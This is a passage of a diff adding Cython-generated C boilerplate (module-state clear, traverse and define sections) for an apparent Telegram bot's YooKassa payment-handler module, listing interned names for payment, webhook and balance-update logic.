Py_CLEAR(clear_module_state->__pyx_n_u_succeeded); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_trial); + Py_CLEAR(clear_module_state->__pyx_n_u_type); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_update_data); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_n_u_user_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_user_id_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id_str); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid4); + Py_CLEAR(clear_module_state->__pyx_n_u_value); + Py_CLEAR(clear_module_state->__pyx_n_u_vat_code); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_s_warning); + Py_CLEAR(clear_module_state->__pyx_n_s_web); + Py_CLEAR(clear_module_state->__pyx_n_u_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_yookassa_2); + Py_CLEAR(clear_module_state->__pyx_n_u_yookassa_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_yookassa_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_yookassa_webhook); + Py_CLEAR(clear_module_state->__pyx_float_0_0); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_200); + Py_CLEAR(clear_module_state->__pyx_int_400); + Py_CLEAR(clear_module_state->__pyx_int_500); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__7); + Py_CLEAR(clear_module_state->__pyx_tuple__19); + Py_CLEAR(clear_module_state->__pyx_tuple__27); + Py_CLEAR(clear_module_state->__pyx_tuple__28); + Py_CLEAR(clear_module_state->__pyx_tuple__29); + Py_CLEAR(clear_module_state->__pyx_tuple__30); + Py_CLEAR(clear_module_state->__pyx_tuple__31); + Py_CLEAR(clear_module_state->__pyx_tuple__32); + Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_codeobj__13); + Py_CLEAR(clear_module_state->__pyx_codeobj__16); + Py_CLEAR(clear_module_state->__pyx_codeobj__20); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_kp_u_1_00); + Py_VISIT(traverse_module_state->__pyx_kp_u_79000000000); + Py_VISIT(traverse_module_state->__pyx_kp_u_API_Yookassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_Account_ID); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_s_Configuration); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_VISIT(traverse_module_state->__pyx_kp_u_ID); + Py_VISIT(traverse_module_state->__pyx_kp_u_ID_2); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_VISIT(traverse_module_state->__pyx_n_s_MAIN_SECRET); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_n_u_PIRAT4ETO5DLYA0TEBYA); + Py_VISIT(traverse_module_state->__pyx_n_s_Payment); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_VISIT(traverse_module_state->__pyx_n_u_RUB); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Response); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_kp_u_Secret_Key); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_kp_u_Webhook_event_received); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_ENABLE); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_VISIT(traverse_module_state->__pyx_kp_u_YOOKASSA_HASH_2); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_SECRET_KEY); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_SHOP_ID); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__14); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__22); + Py_VISIT(traverse_module_state->__pyx_kp_u__23); + Py_VISIT(traverse_module_state->__pyx_kp_u__24); + Py_VISIT(traverse_module_state->__pyx_n_s__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_n_s__33); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); + Py_VISIT(traverse_module_state->__pyx_n_u__9); + Py_VISIT(traverse_module_state->__pyx_n_s_account_id); + Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_n_u_amount); + Py_VISIT(traverse_module_state->__pyx_kp_u_amount_2); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_u_capture); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_check_connection_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_confirm_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_u_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_u_confirmation_url); + Py_VISIT(traverse_module_state->__pyx_n_s_create); + Py_VISIT(traverse_module_state->__pyx_n_u_currency); + Py_VISIT(traverse_module_state->__pyx_n_u_customer); + Py_VISIT(traverse_module_state->__pyx_n_s_customer_email); + Py_VISIT(traverse_module_state->__pyx_n_s_customer_id); + Py_VISIT(traverse_module_state->__pyx_n_s_customer_name); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_u_description); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_n_u_email); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_entering_custom_amount_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_event); + Py_VISIT(traverse_module_state->__pyx_n_s_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); + Py_VISIT(traverse_module_state->__pyx_n_s_find_one); + Py_VISIT(traverse_module_state->__pyx_n_s_from_user); + Py_VISIT(traverse_module_state->__pyx_n_s_full_name); + Py_VISIT(traverse_module_state->__pyx_n_u_full_name); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_yookassa_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_yookassa_pay_p); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_pocomacho_ru_success_html); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_u_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_info); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_initializing); + Py_VISIT(traverse_module_state->__pyx_n_s_inline_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_u_items); + Py_VISIT(traverse_module_state->__pyx_n_s_json); + Py_VISIT(traverse_module_state->__pyx_n_s_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_s_metadata); + Py_VISIT(traverse_module_state->__pyx_n_u_metadata); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_u_object); + Py_VISIT(traverse_module_state->__pyx_n_s_paid); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_id); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_object); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_url); + Py_VISIT(traverse_module_state->__pyx_n_u_pending); + Py_VISIT(traverse_module_state->__pyx_n_u_phone); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_n_u_quantity); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_u_receipt); + Py_VISIT(traverse_module_state->__pyx_n_u_redirect); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_request); + Py_VISIT(traverse_module_state->__pyx_n_u_return_url); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_secret_key); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_kp_u_solo_net); + Py_VISIT(traverse_module_state->__pyx_kp_u_solonet_sup); + Py_VISIT(traverse_module_state->__pyx_n_s_spec); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_u_status); + Py_VISIT(traverse_module_state->__pyx_n_u_succeeded); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_trial); + Py_VISIT(traverse_module_state->__pyx_n_u_type); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_update_data); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_n_u_user_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_user_id_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id_str); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid4); + Py_VISIT(traverse_module_state->__pyx_n_u_value); + Py_VISIT(traverse_module_state->__pyx_n_u_vat_code); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_s_warning); + Py_VISIT(traverse_module_state->__pyx_n_s_web); + Py_VISIT(traverse_module_state->__pyx_n_u_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_yookassa_2); + Py_VISIT(traverse_module_state->__pyx_n_u_yookassa_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_yookassa_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_yookassa_webhook); + Py_VISIT(traverse_module_state->__pyx_float_0_0); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_200); + Py_VISIT(traverse_module_state->__pyx_int_400); + Py_VISIT(traverse_module_state->__pyx_int_500); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__7); + Py_VISIT(traverse_module_state->__pyx_tuple__19); + Py_VISIT(traverse_module_state->__pyx_tuple__27); + Py_VISIT(traverse_module_state->__pyx_tuple__28); + Py_VISIT(traverse_module_state->__pyx_tuple__29); + Py_VISIT(traverse_module_state->__pyx_tuple__30); + Py_VISIT(traverse_module_state->__pyx_tuple__31); + Py_VISIT(traverse_module_state->__pyx_tuple__32); + Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_codeobj__13); + Py_VISIT(traverse_module_state->__pyx_codeobj__16); + Py_VISIT(traverse_module_state->__pyx_codeobj__20); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input +#endif +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input +#define __pyx_kp_u_1_00 __pyx_mstate_global->__pyx_kp_u_1_00 +#define __pyx_kp_u_79000000000 __pyx_mstate_global->__pyx_kp_u_79000000000 +#define __pyx_kp_u_API_Yookassa __pyx_mstate_global->__pyx_kp_u_API_Yookassa +#define __pyx_kp_u_Account_ID __pyx_mstate_global->__pyx_kp_u_Account_ID +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_s_Configuration __pyx_mstate_global->__pyx_n_s_Configuration +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_n_u_HASHHASHYOOKASSA __pyx_mstate_global->__pyx_n_u_HASHHASHYOOKASSA +#define __pyx_kp_u_ID __pyx_mstate_global->__pyx_kp_u_ID +#define __pyx_kp_u_ID_2 __pyx_mstate_global->__pyx_kp_u_ID_2 +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_InlineKeyboardMarkup __pyx_mstate_global->__pyx_n_s_InlineKeyboardMarkup +#define __pyx_n_s_MAIN_SECRET __pyx_mstate_global->__pyx_n_s_MAIN_SECRET +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_n_u_PIRAT4ETO5DLYA0TEBYA __pyx_mstate_global->__pyx_n_u_PIRAT4ETO5DLYA0TEBYA +#define __pyx_n_s_Payment __pyx_mstate_global->__pyx_n_s_Payment +#define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id +#define __pyx_n_u_RUB __pyx_mstate_global->__pyx_n_u_RUB +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Response __pyx_mstate_global->__pyx_n_s_Response +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_kp_u_Secret_Key __pyx_mstate_global->__pyx_kp_u_Secret_Key +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_kp_u_Webhook_event_received __pyx_mstate_global->__pyx_kp_u_Webhook_event_received +#define __pyx_n_s_YOOKASSA_ENABLE __pyx_mstate_global->__pyx_n_s_YOOKASSA_ENABLE +#define __pyx_n_s_YOOKASSA_HASH __pyx_mstate_global->__pyx_n_s_YOOKASSA_HASH +#define __pyx_kp_u_YOOKASSA_HASH_2 __pyx_mstate_global->__pyx_kp_u_YOOKASSA_HASH_2 +#define __pyx_n_s_YOOKASSA_SECRET_KEY __pyx_mstate_global->__pyx_n_s_YOOKASSA_SECRET_KEY +#define __pyx_n_s_YOOKASSA_SHOP_ID __pyx_mstate_global->__pyx_n_s_YOOKASSA_SHOP_ID +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 +#define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 +#define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 +#define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 +#define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 +#define __pyx_n_s__25 __pyx_mstate_global->__pyx_n_s__25 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_n_s__33 __pyx_mstate_global->__pyx_n_s__33 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 +#define __pyx_n_u__9 __pyx_mstate_global->__pyx_n_u__9 +#define __pyx_n_s_account_id __pyx_mstate_global->__pyx_n_s_account_id +#define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_n_u_amount __pyx_mstate_global->__pyx_n_u_amount +#define __pyx_kp_u_amount_2 __pyx_mstate_global->__pyx_kp_u_amount_2 +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_u_capture __pyx_mstate_global->__pyx_n_u_capture +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define 